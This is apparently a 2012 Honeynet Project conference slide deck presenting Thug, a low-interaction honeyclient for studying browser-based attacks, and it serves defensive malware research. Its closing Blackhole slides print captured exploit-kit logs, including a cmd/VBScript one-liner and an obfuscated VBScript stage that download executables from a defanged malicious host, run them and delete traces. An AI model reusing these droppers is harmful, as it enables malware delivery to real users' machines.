The Honeynet

PROJECT

Thug: a new low-interaction honeyclient

Angelo Dell'Aera

Speaker

- Full Member @ Honeynet Project since 2009
- Senior Threat Analyst @ Security Reply (8 years)
- Information Security Independent Researcher @ Antifork Research (10+ years)

Agenda

- Introduction
- Honeyclient technologies
- Thug
- Future work

New trends, new tools

- In the last years more and more attacks against client systems
- The browser is the most popular client system deployed on every user system
- A lot of vulnerabilities are identified daily and reported in the most used browsers and in third-party plugins

New trends, new tools

- The browser is currently the preferred way to own an host
- The end user is the weakest link of the security chain
- New tools are required to learn more about such client-side attacks

Honeyclients

- What we need is something which seems like a real browser the same way as a classical honeypot system seems like a real vulnerable server
- A real system (high-interaction honeyclient) or an emulated one (low-interaction honeyclient)?

Low-interaction honeyclients

Strengths:

- Different browser versions (“personalities”)
- Different ActiveX and plugins modules (even different versions)
- Much more safer
- Much more scalable

Weakness:

- Easy to detect

High-interaction honeyclients

Strengths:

- No emulation necessary
- Accurate classification
- Ability to detect zero-day attacks
- More difficult to evade

Weaknesses:

- Just one version for browser and plugins
- Dangerous
- More computationally expensive

Brief History

- First version of PhoneyC released in 2009
- Started contributing (and learning) in November 2009
- Started thinking about a new design during the first months of 2011
- Here comes Thug...

```
82c455dbe44bc1688622a1b606ebac7198b8c2e7
Author: Angelo Dell'Aera <angelo.dellaera@honeynet.org>
Date:   Sun May 8 15:18:00 2011 +0200

First commit
```

Document Object Model (DOM)

"The Document Object Model is a platform- and language-neutral interface that will allow programs and scripts to dynamically access and update the content, structure and style of documents. The document can be further processed and the results of that processing can be incorporated back into the presented page."

- Thug DOM is (almost) compliant with W3C DOM Core and HTML specifications (Level 1, 2 and partially 3) and partially compliant with W3C DOM Events and Style specifications
- Designed with the requirement that adding the missing features has to be as simple as possible
- Much more effective than chasing exploit writers!

Browser Personalities

- Currently supported personalities:
  - Internet Explorer 6.0 (Windows XP)
  - Internet Explorer 6.1 (Windows XP)
  - Internet Explorer 7.0 (Windows XP)
  - Internet Explorer 8.0 (Windows XP)
  - Internet Explorer 6.0 (Windows 2000)
  - Internet Explorer 8.0 (Windows 2000)

- And adding new personalities is really easy...

Javascript

- Google V8 Javascript engine wrapped through PyV8
  - *“V8 implements ECMAScript as specified in ECMA-262, 5th edition, and runs on Windows, Mac OS X , and Linux systems that use IA-32, x64, or ARM processors”*
  - *“The V8 API provides functions for compiling and executing scripts, accessing C++ methods and data structures, handling errors, and enabling security checks”*

  - Abstract Syntax Tree generation and inspection (static analysis)
  - Context inspection (dynamic analysis)
  - A lot of other potentially interesting features (GDB JIT interface, live objects inspection, code disassembler, etc.) exported through a clean and well designed API

Vulnerability Modules

- Python-based vulnerability modules
  - ActiveX controls
  - Core browser functionalities
  - Browser plugins

Analysis

- Static analysis
  - Abstract Syntax Tree (AST)
    - Static attack signatures
    - “Interesting” breakpoints identification for later dynamic analysis
- Dynamic analysis
  - V8 debugger protocol
  - Libemu integration (shellcode detection and emulation)

Logging

- MITRE MAEC logging format
- “Flat” log files (not so exciting maybe...)
- MongoDB
- HPFeeds
    - *thug.events* channel (URL analysis results published in MAEC format)
    - *thug.files* channel (downloaded samples)

Future work

- Document Object Model improvements
- Javascript dynamic analysis improvements
- Full integration with HPFeeds infrastructure
- Exploit kits identification?
- VBScript dynamic analysis?
- Malicious PDF, JAR, SWF analysis?
- Anomaly-based approach?

Blackhole - 1/4

```
$  python thug.py -v "hxxp://myapp-ups.com/main.php?page=898e350e1897a478"

[2012-03-06 15:51:06] <applet archive="hxxp://myapp-ups.com/content/GPlugin.jar" code="Inc.class"><param name="p"
test="12" valu="12" value="vssMlggUk7MMahMzPJFUgYPMvM-Vc/oAd/G6cr"></param></applet>
[2012-03-06 15:51:07] Saving applet hxxp://myapp-ups.com/content/GPlugin.jar
[2012-03-06 15:51:07] <param name="p" test="12" valu="12" value="vssMlggUk7MMahMzPJFUgYPMvM-
Vc/oAd/G6cr"></param>
[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
[2012-03-06 15:51:07] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
[2012-03-06 15:51:07] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (adodb.stream)
[2012-03-06 15:51:07] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (Shell.Application)
[2012-03-06 15:51:07] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject (msxml2.XMLHTTP)
[2012-03-06 15:51:07] [Microsoft XMLHTTP ActiveX] Fetching from URL hxxp://myapp-ups.com/w.php?f=97d19&e=2
[2012-03-06 15:51:08] [Microsoft XMLHTTP ActiveX] Saving File: eed88603a141913f83bb58b4eacc88cf
[2012-03-06 15:51:08] [Microsoft XMLHTTP ActiveX] send
[2012-03-06 15:51:08] [Adodb.Stream ActiveX] open
[2012-03-06 15:51:08] [Adodb.Stream ActiveX] Write
[2012-03-06 15:51:08] [Adodb.Stream ActiveX] SaveToFile (.//..//467f705.exe)
[2012-03-06 15:51:08] [Adodb.Stream ActiveX] Close
[2012-03-06 15:51:08] [Shell.Application ActiveX] ShellExecute command: .//..//467f705.exe
[2012-03-06 15:51:08] [Navigator URL Translation] ./content/ap1.php?f=97d19 -->  hxxp://myapp-
ups.com/content/ap1.php?f=97d19
```

Blackhole - 2/4

```
[2012-03-06 15:51:09] Microsoft Internet Explorer HCP Scheme Detected
[2012-03-06 15:51:09] Microsoft Windows Help Center Malformed Escape Sequences Incorrect Handling
[2012-03-06 15:51:09] [AST]: Eval argument length > 64
[2012-03-06 15:51:09] [Windows Script Host Run] Command:
cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET","hxxp://myapp-
ups.com/content/hcp_vbs.php?f=97d19&d=0",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set
D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End
With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > %TEMP%\\l.vbs && %TEMP%\\l.vbs
&&
taskkill /F /IM helpctr.exe

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 1] Code:
cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET","hxxp://myapp-
ups.com/content/hcp_vbs.php?f=97d19&d=0",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set
D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End
With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > %TEMP%\\l.vbs && %TEMP%\\l.vbs
&&
taskkill /F /IM helpctr.exe
[2012-03-06 15:51:09] [Windows Script Host Run - Stage 1] Downloading from URL hxxp://myapp-
ups.com/content/hcp_vbs.php?f=97d19&d=0
[2012-03-06 15:51:09] [Windows Script Host Run - Stage 1] Saving file 2eceb44e291417dc613739fb258e0ac0
```

Blackhole - 3/4

```
[2012-03-06 15:51:09] [Windows Script Host Run - Stage 2] Code:
w=3000:x=200:y=1:z=false:a = "hxxp://myapp-ups.com/w.php?e=5&f=97d19":Set e =
Createobject(StrReverse("tcejbOmetsySeliF.gnitpircS")):Set f=e.GetSpecialFolder(2):b = f &
"\exe.ex2":b=Replace(b,Month("2010-02-16"),"e"):OT = "GET":Set c =
CreateObject(StrReverse("PTTHLMX.2LMXSM")):Set d = CreateObject(StrReverse("maertS.BDODA"))
Set o=Createobject(StrReverse("tcejbOmetsySeliF.gnitpircS"))
On Error resume next
c.open OT, a, z:c.send()
If c.Status = x Then
d.Open:d.Type = y:d.Write c.ResponseBody:d.SaveToFile b:d.Close
End If
Set w=CreateObject(StrReverse("llehS." & "tpi"&"rcSW"))
Eval(Replace("W.ex2c b", Month("2010-02-16"), "E"))
W.eXeC "taskkill /F /IM wm" & "player.exe":W.eXeC "taskkill /F /IM realplay.exe":Set g=o.GetFile(e.GetSpecialFolder(2) &
"\" & StrReverse("bv.l") & "s"):g.Delete:WScript.Sleep w:Set
g=o.GetFile(b):Eval("g.Delete")

[2012-03-06 15:51:09] [Windows Script Host Run - Stage 2] Downloading from URL hxxp://myapp-ups.com/w.php?
e=5&f=97d19
[2012-03-06 15:51:09] [Windows Script Host Run - Stage 2] Saving file eed88603a141913f83bb58b4eacc88cf
```

Blackhole - 4/4

```
[2012-03-06 15:51:18] <param name="movie" value="content/field.swf"></param>
[2012-03-06 15:51:18] [Navigator URL Translation] content/field.swf -->  hxxp://myapp-ups.com/content/field.swf
[2012-03-06 15:51:18] Saving remote content at content/field.swf (MD5: 027ddef75ff4f692196e0461756c3deb)
[2012-03-06 15:51:18] <param name="allowScriptAccess" value="always"></param>
[2012-03-06 15:51:18] <param name="Play" value="0"></param>
[2012-03-06 15:51:18] <embed allowscriptaccess="always" height="10" id="swf_id" name="swf_id" src="content/field.swf"
type="application/x-shockwave-flash" width="10"></embed>
[2012-03-06 15:51:18] [Navigator URL Translation] content/field.swf -->  hxxp://myapp-ups.com/content/field.swf
[2012-03-06 15:51:18] Saving remote content at content/field.swf (MD5: 027ddef75ff4f692196e0461756c3deb)
[2012-03-06 15:51:18] Saving log analysis at ../logs/a201092c67a6fecf301a09f8dae985b2/20120306155105
```

References

- Jose Nazario, *“PhoneyC: A virtual client honeypot”* (LEET 2009)
- The Honeynet Project, *“Know Your Enemy: Malicious Web Servers”* (http://www.honeynet.org/papers)
- Google V8 Javascript engine (http://code.google.com/p/v8/)
- PyV8 (http://code.google.com/p/pyv8/)
- Libemu (http://libemu.carnivore.it/)
- Pylibemu (https://github.com/buffer/pylibemu)

Publicly available? Really?!

Thug source code will be released just after this presentation!

Download it at

https://github.com/buffer/thug

Comments and feedback welcome!

Thanks for the attention!

Questions?

Angelo Dell'Aera
<angelo.dellaera@honeynet.org>